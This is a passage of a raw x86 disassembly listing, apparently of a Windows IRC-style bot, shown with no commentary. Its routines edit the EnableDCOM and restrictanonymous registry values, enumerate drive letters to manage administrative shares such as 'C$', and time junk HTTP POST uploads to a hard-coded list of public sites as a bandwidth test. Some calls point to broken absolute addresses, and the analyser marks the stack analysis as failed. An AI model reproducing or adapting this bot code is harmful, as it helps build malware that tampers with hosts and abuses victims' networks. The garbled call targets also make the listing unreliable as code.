sub_419A88 add esp, 0Ch jmp loc_419B27 ; --------------------------------------------------------------------------- loc_419BEF: ; CODE XREF: sub_419B0F+8Aj inc eax mov [ebp+var_4], eax jmp short loc_419BA4 ; --------------------------------------------------------------------------- loc_419BF5: ; CODE XREF: sub_419B0F+45j push offset unk_439980 push ebx push dword_4DB268 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push 1 call near ptr 26D0000h nop loc_419C19: ; CODE XREF: sub_419B0F+6Bj call sub_419A20 push offset unk_439958 push ebx push dword_4DB268 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi call near ptr 26D0000h nop loc_419C41: ; CODE XREF: sub_419B0F+C3j push offset unk_439928 push ebx push dword_4DB268 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi nop call near ptr 26D0000h sub_419B0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C64 proc near ; CODE XREF: sub_401ACD+2507p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419A20 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_433544 push esi call dword_4CB060 test eax, eax jz loc_419D5E push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_4270FC push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_419D5E lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_419D5E mov edi, dword_4270F8 push 3 push esi push esi push offset dword_4DB22C call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2700000h test eax, eax jz short loc_419D5E push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41B590 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset dword_43D158 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call near ptr 2650C14h nop test eax, eax jnz short loc_419D66 loc_419D5E: ; CODE XREF: sub_419C64+2Fj ; sub_419C64+5Cj ... or eax, 0FFFFFFFFh jmp loc_419E14 ; --------------------------------------------------------------------------- loc_419D66: ; CODE XREF: sub_419C64+F8j push [ebp+var_4] mov edi, dword_427068 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DB228, eax mov eax, [ebp+var_8] mov dword_4DB230, eax mov eax, [ebp+var_2C] mov dword_4DB224, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DB268, eax jz short loc_419DA0 push [ebp+arg_4] jmp short loc_419DA1 ; --------------------------------------------------------------------------- loc_419DA0: ; CODE XREF: sub_419C64+135j push ebx loc_419DA1: ; CODE XREF: sub_419C64+13Aj push offset dword_4DB234 call sub_41B886 pop ecx pop ecx push esi push 0Ah push offset unk_4399E4 call sub_40B0F6 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43DEE8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419B0F push esi push esi nop call near ptr 2660D86h cmp eax, esi mov dword_43DEF4[edi], eax jnz short loc_419E12 nop call near ptr 267064Ch push eax lea eax, [ebp+var_378] push offset unk_4399B0 push eax call sub_41B886 lea eax, [ebp+var_378] push eax call sub_4151AC add esp, 10h loc_419E12: ; CODE XREF: sub_419C64+185j xor eax, eax loc_419E14: ; CODE XREF: sub_419C64+FDj pop edi pop esi pop ebx leave retn sub_419C64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E19 proc near ; DATA XREF: sub_401ACD+2E0Bo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_419E60 call sub_419E79 jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E60: ; CODE XREF: sub_419E19+3Ej call sub_41A19D loc_419E65: ; CODE XREF: sub_419E19+45j add esp, 10h push [ebp+var_14] call sub_40B412 pop ecx push 0 nop call near ptr 26D0000h sub_419E19 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E79 proc near ; CODE XREF: sub_419E19+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CB074, edi jnz loc_419FAB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CB014 test eax, eax jnz short loc_419F04 mov ax, word_43875C mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAFC8 test eax, eax jz short loc_419EE6 push offset dword_439C80 jmp short loc_419EEB ; --------------------------------------------------------------------------- loc_419EE6: ; CODE XREF: sub_419E79+64j push offset dword_439C60 loc_419EEB: ; CODE XREF: sub_419E79+6Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF80 jmp short loc_419F17 ; --------------------------------------------------------------------------- loc_419F04: ; CODE XREF: sub_419E79+36j lea eax, [ebp+var_214] push offset dword_439C30 push eax call sub_41B886 pop ecx pop ecx loc_419F17: ; CODE XREF: sub_419E79+89j cmp [ebp+arg_C], edi jnz short loc_419F36 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419F36: ; CODE XREF: sub_419E79+A1j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CB014 test eax, eax jnz short loc_419FA4 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CAFC8 test eax, eax jz short loc_419F86 push offset dword_439BE0 jmp short loc_419F8B ; --------------------------------------------------------------------------- loc_419F86: ; CODE XREF: sub_419E79+104j push offset dword_439BAC loc_419F8B: ; CODE XREF: sub_419E79+10Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF80 jmp short loc_419FBE ; --------------------------------------------------------------------------- loc_419FA4: ; CODE XREF: sub_419E79+E2j push offset dword_439B70 jmp short loc_419FB0 ; --------------------------------------------------------------------------- loc_419FAB: ; CODE XREF: sub_419E79+13j push offset dword_439B40 loc_419FB0: ; CODE XREF: sub_419E79+130j lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx loc_419FBE: ; CODE XREF: sub_419E79+129j cmp [ebp+arg_C], edi jnz short loc_419FDD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419FDD: ; CODE XREF: sub_419E79+148j lea eax, [ebp+var_214] push eax call sub_4151AC cmp dword_4CB09C, edi pop ecx jnz loc_41A158 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A000: ; CODE XREF: sub_419E79+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CAEE8 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A09D cmp eax, 0EAh jz short loc_41A09D mov esi, offset off_439A08 loc_41A031: ; CODE XREF: sub_419E79+21Dj push dword ptr [esi] push edi call sub_418C6B pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A048 push offset dword_439B1C jmp short loc_41A04D ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_419E79+1C6j push offset dword_439AF0 loc_41A04D: ; CODE XREF: sub_419E79+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A080 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A080: ; CODE XREF: sub_419E79+1EBj lea eax, [ebp+var_214] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset off_439A28 jb short loc_41A031 jmp loc_41A135 ; --------------------------------------------------------------------------- loc_41A09D: ; CODE XREF: sub_419E79+1AAj ; sub_419E79+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A12C loc_41A0AC: ; CODE XREF: sub_419E79+2AFj mov edi, [esi] push edi call sub_41D817 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A121 push edi call sub_418B58 push eax push 0 call sub_418C6B add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A0DB push offset dword_439ACC jmp short loc_41A0E0 ; --------------------------------------------------------------------------- loc_41A0DB: ; CODE XREF: sub_419E79+259j push offset dword_439AA0 loc_41A0E0: ; CODE XREF: sub_419E79+260j lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A114 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A114: ; CODE XREF: sub_419E79+27Fj lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx loc_41A121: ; CODE XREF: sub_419E79+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A0AC xor edi, edi loc_41A12C: ; CODE XREF: sub_419E79+22Dj push [ebp+var_8] call dword_4CB034 loc_41A135: ; CODE XREF: sub_419E79+21Fj cmp [ebp+var_10], 0EAh jz loc_41A000 lea eax, [ebp+var_214] push offset dword_439A78 push eax call sub_41B886 pop ecx pop ecx pop ebx jmp short loc_41A16B ; --------------------------------------------------------------------------- loc_41A158: ; CODE XREF: sub_419E79+177j lea eax, [ebp+var_214] push offset dword_439A48 push eax call sub_41B886 pop ecx pop ecx loc_41A16B: ; CODE XREF: sub_419E79+2DDj cmp [ebp+arg_C], edi jnz short loc_41A189 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A189: ; CODE XREF: sub_419E79+2F5j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx push 1 pop eax pop edi pop esi leave retn sub_419E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A19D proc near ; CODE XREF: sub_419E19:loc_419E60p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CB074, ebx push esi jnz loc_41A2CB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CB014 test eax, eax jnz short loc_41A228 mov ax, word_4387A0 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAFC8 test eax, eax jz short loc_41A20A push offset dword_439DF8 jmp short loc_41A20F ; --------------------------------------------------------------------------- loc_41A20A: ; CODE XREF: sub_41A19D+64j push offset dword_439DDC loc_41A20F: ; CODE XREF: sub_41A19D+6Bj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF80 jmp short loc_41A23B ; --------------------------------------------------------------------------- loc_41A228: ; CODE XREF: sub_41A19D+36j lea eax, [ebp+var_220] push offset dword_439C30 push eax call sub_41B886 pop ecx pop ecx loc_41A23B: ; CODE XREF: sub_41A19D+89j cmp [ebp+arg_C], ebx jnz short loc_41A25A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A25A: ; CODE XREF: sub_41A19D+A1j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CB014 test eax, eax jnz short loc_41A2C4 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CAFC8 test eax, eax jz short loc_41A2A6 push offset dword_439D9C jmp short loc_41A2AB ; --------------------------------------------------------------------------- loc_41A2A6: ; CODE XREF: sub_41A19D+100j push offset dword_439D64 loc_41A2AB: ; CODE XREF: sub_41A19D+107j lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF80 jmp short loc_41A2DE ; --------------------------------------------------------------------------- loc_41A2C4: ; CODE XREF: sub_41A19D+E2j push offset dword_439D28 jmp short loc_41A2D0 ; --------------------------------------------------------------------------- loc_41A2CB: ; CODE XREF: sub_41A19D+13j push offset dword_439B40 loc_41A2D0: ; CODE XREF: sub_41A19D+12Cj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx loc_41A2DE: ; CODE XREF: sub_41A19D+125j cmp [ebp+arg_C], ebx jnz short loc_41A2FD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A2FD: ; CODE XREF: sub_41A19D+144j lea eax, [ebp+var_220] push eax call sub_4151AC cmp dword_4CB09C, ebx pop ecx jnz loc_41A472 push edi mov esi, offset off_439A08 mov edi, 200h loc_41A321: ; CODE XREF: sub_41A19D+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_418BBF add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A33C push offset dword_439D08 jmp short loc_41A341 ; --------------------------------------------------------------------------- loc_41A33C: ; CODE XREF: sub_41A19D+196j push offset dword_439CE0 loc_41A341: ; CODE XREF: sub_41A19D+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A370 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A370: ; CODE XREF: sub_41A19D+1B7j lea eax, [ebp+var_220] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset off_439A18 jb short loc_41A321 nop call near ptr 2830000h test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A45A loc_41A39B: ; CODE XREF: sub_41A19D+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A44F cmp bl, 41h jz loc_41A44F movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_0 ; "%c:\\" push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CB004 cmp eax, 3 jnz short loc_41A44F lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_418BBF add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A40D push offset dword_439D08 jmp short loc_41A412 ; --------------------------------------------------------------------------- loc_41A40D: ; CODE XREF: sub_41A19D+267j push offset dword_439CE0 loc_41A412: ; CODE XREF: sub_41A19D+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A442 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A442: ; CODE XREF: sub_41A19D+289j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx loc_41A44F: ; CODE XREF: sub_41A19D+206j ; sub_41A19D+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A39B loc_41A45A: ; CODE XREF: sub_41A19D+1F8j lea eax, [ebp+var_220] push offset dword_439CB0 push eax call sub_41B886 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A485 ; --------------------------------------------------------------------------- loc_41A472: ; CODE XREF: sub_41A19D+173j lea eax, [ebp+var_220] push offset dword_439A48 push eax call sub_41B886 pop ecx pop ecx loc_41A485: ; CODE XREF: sub_41A19D+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A4A3 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A4A3: ; CODE XREF: sub_41A19D+2EBj lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A19D endp ; =============== S U B R O U T I N E ======================================= sub_41A4B7 proc near ; CODE XREF: sub_41A6AE+CBp ; sub_41A6AE+DDp ... arg_0 = dword ptr 4 nop call near ptr 268068Bh push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4D1 proc near ; CODE XREF: sub_41A6AE+D4p ; sub_41A6AE+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A6AA push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41B590 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AAF9 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A6AA push 50h call dword_4CAFA4 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CB024 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A6AA lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CAF4C cmp eax, 0FFFFFFFFh jz loc_41A6AA push 32003h call sub_41CFC5 mov edi, dword_4270A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41B8D8 call sub_41B8E2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41B590 push 32000h push esi push ebx call sub_41B590 push ebx call sub_41AFE0 push 323EAh mov ebx, eax call sub_41CFC5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41B886 push [ebp+var_8] push esi call sub_41BEC0 push offset asc_433854 ; "\r\n" push esi call sub_41BEC0 push esi call sub_41AFE0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41A62A mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41A5FA ; --------------------------------------------------------------------------- loc_41A5F7: ; CODE XREF: sub_41A4D1+157j mov eax, [ebp+arg_0] loc_41A5FA: ; CODE XREF: sub_41A4D1+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41A60A push [ebp+var_C] jmp short loc_41A60B ; --------------------------------------------------------------------------- loc_41A60A: ; CODE XREF: sub_41A4D1+132j push ebx loc_41A60B: ; CODE XREF: sub_41A4D1+137j add eax, esi push eax push [ebp+var_4] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jz short loc_41A691 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41A5F7 loc_41A62A: ; CODE XREF: sub_41A4D1+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_427714 fst [ebp+arg_0] fcomp flt_427710 fnstsw ax sahf jnz short loc_41A652 fld1 fstp [ebp+arg_0] loc_41A652: ; CODE XREF: sub_41A4D1+17Aj push [ebp+var_4] call dword_4CB03C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_42770C fmul flt_427708 call sub_41C798 loc_41A68C: ; CODE XREF: sub_41A4D1+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A691: ; CODE XREF: sub_41A4D1+149j push [ebp+var_4] call dword_4CB03C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx loc_41A6AA: ; CODE XREF: sub_41A4D1+19j ; sub_41A4D1+42j ... xor eax, eax jmp short loc_41A68C sub_41A4D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6AE proc near ; CODE XREF: sub_401ACD+2E61p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 push 8 mov esi, eax call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 add esp, 10h test esi, esi jz short loc_41A7AF test eax, eax jz short loc_41A7AB lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AB: ; CODE XREF: sub_41A6AE+F4j mov ebx, esi jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AF: ; CODE XREF: sub_41A6AE+F0j mov ebx, eax loc_41A7B1: ; CODE XREF: sub_41A6AE+FBj ; sub_41A6AE+FFj push 0Ch call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 push 0Ch mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A7E9 test eax, eax jz short loc_41A7E5 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E5: ; CODE XREF: sub_41A6AE+12Ej mov esi, edi jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E9: ; CODE XREF: sub_41A6AE+12Aj mov esi, eax loc_41A7EB: ; CODE XREF: sub_41A6AE+135j ; sub_41A6AE+139j push 6 call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 push 6 mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A823 test eax, eax jz short loc_41A81F lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A81F: ; CODE XREF: sub_41A6AE+168j mov ecx, edi jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A823: ; CODE XREF: sub_41A6AE+164j mov ecx, eax loc_41A825: ; CODE XREF: sub_41A6AE+16Fj ; sub_41A6AE+173j xor eax, eax test ebx, ebx jz short loc_41A832 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41A835 ; --------------------------------------------------------------------------- loc_41A832: ; CODE XREF: sub_41A6AE+17Bj push 2 pop edi loc_41A835: ; CODE XREF: sub_41A6AE+182j test esi, esi jz short loc_41A83D add eax, esi jmp short loc_41A83E ; --------------------------------------------------------------------------- loc_41A83D: ; CODE XREF: sub_41A6AE+189j dec edi loc_41A83E: ; CODE XREF: sub_41A6AE+18Dj test ecx, ecx jz short loc_41A846 add eax, ecx jmp short loc_41A847 ; --------------------------------------------------------------------------- loc_41A846: ; CODE XREF: sub_41A6AE+192j dec edi loc_41A847: ; CODE XREF: sub_41A6AE+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_439E50 push eax call sub_41B886 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_26C] push eax call sub_4151AC add esp, 30h pop edi pop esi pop ebx leave retn sub_41A6AE endp ; =============== S U B R O U T I N E ======================================= sub_41A88B proc near ; CODE XREF: sub_401ACD+25A0p ; sub_401ACD+2A10p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 268068Bh xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DB270 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41B980 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A88B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8F4 proc near ; CODE XREF: sub_416F1A+24p var_94 = dword ptr -94h var_90 = dword 